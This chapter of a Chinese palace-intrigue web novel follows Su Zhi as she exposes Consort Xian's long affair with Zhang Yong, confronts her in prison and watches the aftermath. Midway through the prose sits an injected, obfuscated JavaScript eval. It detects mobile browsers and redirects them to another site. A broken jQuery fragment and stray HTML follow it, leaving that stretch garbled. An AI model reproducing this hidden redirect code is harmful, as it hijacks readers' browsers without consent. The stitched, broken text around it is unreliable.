“朕命人在复阳水乡那里寻了一处风水不错的墓址,也派人将你母亲的棺椁护送回来。”宁皇面向窗外的蓝天白云,“你母亲年轻时喜爱那里的风景,长眠于此处,总好过埋骨异乡。”
苏栀理了理被风拨乱的发丝,轻轻“嗯”了一声,没有反对。
魂归故乡,大概也是母后此生最大的夙愿了吧。
过了没多久,车停在一处藏在山野间的寺庙前。
宁皇秘密出行,谢衍知作为羽林卫指挥使随侍。
“陛下,常安寺到了。”
与贤妃明面上要去的白马寺不同,常安寺避世许久,早已不接待生客。
苏栀下车时,特意看了一眼不远处,果然,一辆低调却又不失奢华的马车停在树荫下。
而这辆马车上的花纹,她在张府见过。
宋娴与宁皇早些年狩猎时受了伤,路过常安寺时,主持接待了他们,也是在这一夜,二人的情愫开始蔓延。
此后几十年,宁皇无论再怎样忙碌,也都日复一日,年复一年的送来香火钱。
主持与宁皇相识多年,唯有在此处,宁皇才能卸下肩上全部的责任与枷锁,同好久不见的心上人好好说说话。
苏栀为宋娴上完香便退了出来,将空间留给他们二人。
谢衍知凑到苏栀耳垂,低声道,“难过了?”
过了今夜,她的仇便报完了,即便是此刻心情有些许惆怅,但也称不上难过。
苏栀敛起情绪,“找到了吗?”
“如今天色还早,再等等看。”
—————
夜幕降临,蝉鸣聒躁,禅房门口守夜的侍女被人捂住口鼻拖走。
宁皇冷眼瞧着这一切,房内传来自己的爱妾同其他男人楚楚可怜的哭诉声。
“你是故意叫朕看到的吗?”宁皇盯着窗边两人相拥的剪影,语气冷的让人发怵。
计划被人拆穿,苏栀依旧是那副淡然自苦的样子,“若没有严金,我母后便不会死,贤妃说她不知道盒子里是什么?这话,陛下觉得我会信吗?”
她的语气不太好,宁重揉开紧皱的眉头,态度也紧跟着软了下来,“朕没有怪你,你若是对贤妃有所不满,大可告诉朕。”
苏栀态度未松动半分,转头,注视着窗子上的剪影,“那这便是我要告诉你的。”
巨大的一声异响在寂静的黑夜格外明显,贤妃吓的松开了搂着心爱之人的手,惊恐的看向踹门进来的宁皇。
她见过无数次宁皇生气的模样,但没有哪一次比如今更令她绝望。
眼神一瞥,她阴毒的目光移到宁皇身侧的苏栀身上。少女咧开嘴笑了,带着计谋得逞的雀跃,此她见过的每一次都要灿烂。
—————
夏日的安房闷热潮湿,苏栀进来时正好碰到一人急匆匆离开。
往日养尊处优的贤妃,此刻满面尘土,发髻间别着的珠钗散落,唯有一件华贵的衣衫还套在身上。
从昨日到现在,她未进一滴水,唇瓣早已泛白干裂。
嗅到那阵由远及近的栀子花香,她双日无神的抬头,那张笑靥如花的脸蛋无比刺眼。
苏栀在牢房前驻足,上下扫视了她一遍,“贤妃姨娘要见我?”
贤妃整理了一下衣裳,如往日一般端庄的走到苏栀面前,“信是你动的手脚?”
苏栀不语,默认了。
其实,只要细细思索一下此事,便能发觉其中的不对劲。但无论是贤妃还是张涌,都在焦躁于昭华和亲一事,未发现其中的批漏。
“你是怎么知道常安寺的?”贤妃猛地抓住围栏,怒目圆瞪,指骨因用力而泛白。
苏栀抬手扫了扫被她带起的尘土,轻描淡写的开口,“从发觉你们二人可能有染那日起,谢衍知便去查了三十年前的事。当年你入宫选秀,途中遇到了大雨,便入了常安寺避雨,刚巧碰上了那时落榜的张老爷。”
“一个是远道而来思念家乡的解语花,另一个是踌躇满志却遗憾落榜,急需安慰的年轻秀才。一男一女,干柴碰烈火,你们之间一发不可收拾。即便年年不可相见,却日日夜夜的思念着对方,张涌把常安寺当作你们二人缘分初起之地,即使人不在京州,香火钱却从不曾断过。”
贤妃听的目瞪口呆,双腿失力的跌坐在地上,满脸的不可置信。
苏栀慢慢蹲下身,直视她,“娘娘这般护着昭华公主,张老爷也为此急的焦头烂额,韵华不懂,还请娘娘解释,昭华她…是陛下的女儿吗?”
闻言,贤妃倏地抬头,失神的眼球死死瞪着她,顷刻间张牙舞爪的便要扑上来。
苏栀向后一躲,贤妃只来得及抓住她残留的一片衣角。
“你闭嘴!你闭嘴!”贤妃像是被地狱索命的恶鬼附身,以往养的纤细雪白的手紧紧攥着她的衣摆,仿佛要将她整个人撕碎。
苏栀向下瞟了一眼那双青筋凸起的手,唇角微勾,“看来,是我猜对了。那让我再猜猜,采薇也不是因偷东西才被你透出官的吧?她发现了昭华的身世,死里逃生改名换姓后,却误打误撞的进了张府。你的茻根草也不是你兄长为你寻来的,而是张诵给你的。”
“当他发现梅清错服了芔根草后,立马高价购置紫草为自己解了毒,又立刻处理了采薇。回头一看梅清死于非命,疾病传了出去,为了保你,他只能用自己的钱财逼迫王长宁不得上报朝廷,对吗?”
听完苏栀说的一番话,贤妃突然癫狂的大笑起来,试图掩饰自己内心方才意识到的恐惧。
她从未想过,眼前这个国破家亡的十六岁少女,能有这样的本事一击即中,将荣宠多年的自己拉了下来。
苏栀听到了天牢门口传来的脚步声,伸手用力一拽,将自己的衣角从她的手中扯了出来,转身前看了眼模糊不清的几个身影。
将自己的簪子重新戴好,苏栀回头嫣然一笑,“贤妃娘娘,一路好走啊!”
贤妃神色冷淡的坐在草席边,少女的身影越来越远。
圣旨上说了什么她没听清,但那身旁太监手中端的东西,白绫,毒酒和匕首,将成为她此生最后能做的选择。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331329|161373||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
待到苏栀走出天牢,温暖舒适的阳光打在她的侧脸,照的身上暖洋洋的。一只扑着翅膀的蓝色蝴蝶落在她的手背,停留一瞬便飞走了。
她抬头,盯着那只蝴蝶飞出了重重监牢,从此她的世界里,再无仇恨。
—————
苏栀从未这般轻松过,走出天牢没多久,谢衍知恰好换班过来,黑衣外套着羽林卫金色的铠甲。
起初看到谢衍知,她还是慢慢的走。后来,脚步越来越快。直至最后,她忍不住捂着裙摆小跑起来,声音脆如银铃,“谢衍知!”
她平日里总是一副清冷疏离的模样,谢衍知鲜少见她如今日这般,恰似骄阳,灿烂明媚,如远在天边的朝阳般朝自己奔来。
谢衍知勾着唇角张开手,稳稳的抱住落入怀中的佳人,紧紧拥住这片柔软,轻拍她的背,“好了,都结束了。”
苏栀脸埋在他的怀里,“哼哼”了几声,抬起头来,“谢衍知,谢谢你。”
谢衍知低头,揉着她的发丝,与她额头相抵,“还记得除夕夜那日,我说我想要的谢礼吗?”
“嗯?”苏栀想了想,没记起来。
温热暧昧的气息在二人之间流传,谢衍知盯着她脸上细小的绒毛,“那时我说,以后的每个除夕,我都陪你看烟花吧。”
谢衍知指腹擦过她嫣红的唇瓣,哑声道,“现在我想换一个,我要从今往后的每一日,你都如今日般绚烂如花,轻松自在。”
—————
皇室的威严不容挑衅,三尺白绫而亡的贤妃,以突发不治之症为由,一席草席一卷,成了乱葬岗的孤魂野鬼。
而张涌便没有这般轻松,算上之前造成疫病传播之责,被灌了哑药,凌迟处死。
听陆烟烟说行刑现场很是残忍,冰凉刺骨刀一片一片削下犯人身上的肉。
苏栀没去看,除去筹备的婚事,她还准备从头到尾翻译一遍西辽的古典医书。
如今两地互通,百姓安居乐业,商人通商往来的同时,也意味着会有更多原本属于西北的罕见之症流入大宁。
芔根草之毒,便是因为中原大夫不通西北医术。所以,苏栀想将那些费解的西北古籍,编写出一份中原文字版本。
诗情倒了杯茶送进来。
苏栀没抬头,“送过去了?”
诗情点点头,“三姨娘朝南去了。”
张涌做出此等大不韪之事,张府上下自然也不会有什么好下场。
苏栀磨破嘴皮子,宁皇才答应放那些困于深宅大院半辈子的女人们自由,而那些作过孽的人,大宁的律法自然也不会放过她们。
张涌黄泉路上,有他的儿子和夫人作陪,不会孤单的。
苏栀将茶杯放下。
贤妃一死,昭华与辰王便成了众矢之的。多年父子情深宁皇体面的留了二人的尊位,昭华远嫁平北,由宋子扬为送亲使,自此辰王驻守苦寒之地,无诏不得回京。
盯着茶杯中漂浮的墨绿色茶叶,苏栀后知后觉地反应过来,他们似乎走错了一步棋。